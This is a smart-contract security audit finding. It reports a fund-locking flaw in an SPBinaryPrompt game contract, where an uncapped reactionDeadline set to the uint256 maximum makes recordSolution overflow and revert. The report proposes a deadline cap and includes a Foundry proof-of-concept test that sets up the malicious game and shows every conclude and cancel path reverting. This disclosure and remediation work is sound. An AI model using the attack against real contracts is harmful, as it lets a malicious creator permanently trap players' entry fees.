A critical vulnerability exists in the SPBinaryPrompt contract that allows a malicious creator to permanently lock all funds within a game session. The issue stems from an uncapped reactionDeadline parameter combined with an arithmetic overflow in a critical check required for game finalization.
The core of the vulnerability lies in two areas:
Unbounded Parameter in revealQuestion: The SPBinaryPrompt.sol contract does not enforce an upper limit on the reactionDeadline value when a creator reveals a question. A creator can set this value to an arbitrarily large number, such as type(uint256).max.
Arithmetic Overflow in recordSolution: For a game to be finalized and rewards to be distributed, the DefaultSession contract must successfully call the recordSolution function on the prompt contract. However, SPBinaryPrompt.recordSolution contains the following check:
// src/prompt/SPBinaryPrompt.sol:218-219
require(revealTime + q.reactionDeadline < block.timestamp, ReactionDeadlineNotPassed(msg.sender, questionId));
When q.reactionDeadline is type(uint256).max, the addition revealTime + q.reactionDeadline results in an arithmetic overflow in Solidity versions 0.8.0 and higher. This causes the transaction to revert with a panic error, making it impossible for recordSolution to ever be successfully executed.
Since players join a game before question parameters like reactionDeadline are revealed, they have no way of knowing they are entering a maliciously configured game that is designed to lock their funds.
The impact is a permanent Denial of Service (DoS) for fund withdrawal for any game utilizing the SPBinaryPrompt. A creator can wait for a significant prize pool to accumulate from entry fees and sponsorships, and then trigger this condition, ensuring no one can ever claim their rewards or get a refund.
Attack Scenario:
SPBinaryPrompt question.revealQuestion for the SPBinaryPrompt, setting the reactionDeadline parameter to type(uint256).max.Ended state.DefaultSession.recordResults.recordResults attempts to call SPBinaryPrompt.recordSolution to finalize the question's outcome.recordSolution immediately reverts due to the arithmetic overflow (revealTime + uint256.max).recordResults fails, the list of winners is never populated in the DefaultSession contract.concludeGame and concludeGameIfCreatorMissing will always revert with a NoWinnersYet error.cancelGameIfCreatorMissing will revert with a GameWaitingForConclusion error because all questions were revealed and this prompt type does not have a "solution pending" state that would allow cancellation.The contract must be hardened to prevent both the overflow and the possibility of an unreasonably long deadline.
Enforce a Maximum reactionDeadline
The most critical fix is to enforce a sensible upper bound on the reactionDeadline, similar to the protection already present in the MajorityChoicePrompt. This completely prevents the overflow and the long-lockup griefing vector.
SPBinaryPrompt.sol, add a check within the revealQuestion function.// In SPBinaryPrompt.sol, define a constant
uint256 public constant MAX_REACTION_DEADLINE = 365 days; // Example limit
// In revealQuestion function
function revealQuestion(bytes memory question, uint256 questionId) external {
// ... existing logic ...
if (revealedQuestions[questionId].reactionDeadline < 5 seconds) {
revealedQuestions[questionId].reactionDeadline = 5 seconds;
}
// --- SUGGESTED ADDITION START ---
if (revealedQuestions[questionId].reactionDeadline > MAX_REACTION_DEADLINE) {
revealedQuestions[questionId].reactionDeadline = MAX_REACTION_DEADLINE;
}
// --- SUGGESTED ADDITION END ---
revealedAt[questionId] = block.timestamp;
}
Here is a PoC which proves the issue and also the fact that assertionResolvedCallback , concludeGame , concludeGameIfCreatorMissing and cancelGameIfCreatorMissing would revert when the game gets in this state, which basically would lead to a permanent lock of end-user funds. You can add this to FullGameTest.t.sol
// E2E PoC: SPBinary with extreme reactionDeadline bricks finalization → conclude and cancel paths revert
function test_SPBinary_LongDeadline_PermanentDoS() public {
// Fresh game with a specially crafted SPBinary question that has a huge deadline committed at creation
uint32 s = uint32(block.timestamp + sessionManager.minimumStartDelay() + 1);
uint32 e = s + 60;
// Build local question arrays with Q2 having type(uint256).max deadline
bytes32[] memory hashes = new bytes32[](4);
address[] memory strategies = new address[](4);
uint256[] memory salts = new uint256[](4);
hashes[0] = hash1; strategies[0] = majorityChoicePromptStrategy; salts[0] = salt1;
hashes[1] = hash2; strategies[1] = majorityChoicePromptStrategy; salts[1] = salt2;
(SPBinaryPrompt.Prompt memory hugeQ, bytes memory hugeEncoded, bytes32 hugeHash, uint256 hugeSalt) =
createSPBinaryQuestion("huge deadline", type(uint256).max);
// Overwrite the third question with huge deadline
hashes[2] = hugeHash; strategies[2] = spBinaryPromptStrategy; salts[2] = hugeSalt;
hashes[3] = hash4; strategies[3] = spBinaryPromptStrategy; salts[3] = salt4;
uint256 gid;
vm.startPrank(creator);
gid = sessionManager.createGame(
s,
e,
10 ether,
10,
usdc,
creator,
hashes,
strategies,
sessionStrategy,
rewardStrategy,
false
);
vm.stopPrank();
// 3 contestants join
for (uint256 i = 0; i < 3; i++) {
vm.startPrank(contestants[i]);
TestUSDC(usdc).approve(address(sessionManager), 10 ether);
sessionManager.joinGame(gid);
vm.stopPrank();
}
// Replace the 3rd question with an extreme deadline at reveal (type(uint256).max)
uint256[] memory qIds = sessionManager.getQuestionsForGame(gid);
vm.warp(s);
vm.startPrank(creator);
DefaultSession(sessionStrategy).setXPTiers(gid, Solarray.uint256s(100, 1));
FixedRanksReward(rewardStrategy).setRankedRewards(gid, Solarray.uint256s(10_000));
// Start game with Q0
sessionManager.startAndRevealGameQuestion(gid, qIds[0], q1Encoded, salts[0]);
// Reveal Q1
sessionManager.revealGameQuestion(gid, qIds[1], q2Encoded, salts[1]);
// Craft a new SPBinary prompt for Q2 with huge deadline and reveal it
sessionManager.revealGameQuestion(gid, qIds[2], hugeEncoded, salts[2]);
// Reveal Q3 normally
sessionManager.revealGameQuestion(gid, qIds[3], q4Encoded, salts[3]);
vm.stopPrank();
// End game
vm.warp(e);
vm.prank(creator);
sessionManager.endGame(gid);
// Try UMA assert and finalization path; recordResults will try to call prompt.recordSolution and fail
vm.mockCall(
address(optimisticOracle), abi.encodeCall(OptimisticOracleV3Interface.getMinimumBond, (usdc)), abi.encode(0)
);
vm.mockCall(
address(optimisticOracle),
abi.encodeWithSelector(OptimisticOracleV3Interface.assertTruth.selector),
abi.encode(bytes32(uint256(0xBEEF)))
);
bytes32 aId = ISessionStrategy(sessionStrategy).assertResults(
gid,
"ipfs://results",
Solarray.addresses(contestants[0]),
Solarray.uint256s(1),
Solarray.uint256s(1),
// Provide solutions; Q2 (SPBinary) will block recordSolution due to overflowed deadline
Solarray.bytess(abi.encode(uint16(0)), abi.encode(uint16(0)), abi.encode(true), abi.encode(false))
);
// Oracle resolves truthfully — but recordResults will revert due to SPBinary deadline overflow
vm.startPrank(optimisticOracle);
vm.expectRevert();
SessionResultAsserter(sessionStrategy).assertionResolvedCallback(aId, true);
vm.stopPrank();
// Conclude fails: winners not written due to recordSolution revert
vm.startPrank(creator);
vm.expectRevert();
sessionManager.concludeGame(gid);
vm.stopPrank();
// Creator missing path also fails (after grace); still no winners
vm.warp(e + 1 days);
vm.expectRevert();
sessionManager.concludeGameIfCreatorMissing(gid);
// Cancel-if-creator-missing also fails (all questions revealed; revealSolutionPending false)
vm.expectRevert();
sessionManager.cancelGameIfCreatorMissing(gid);
}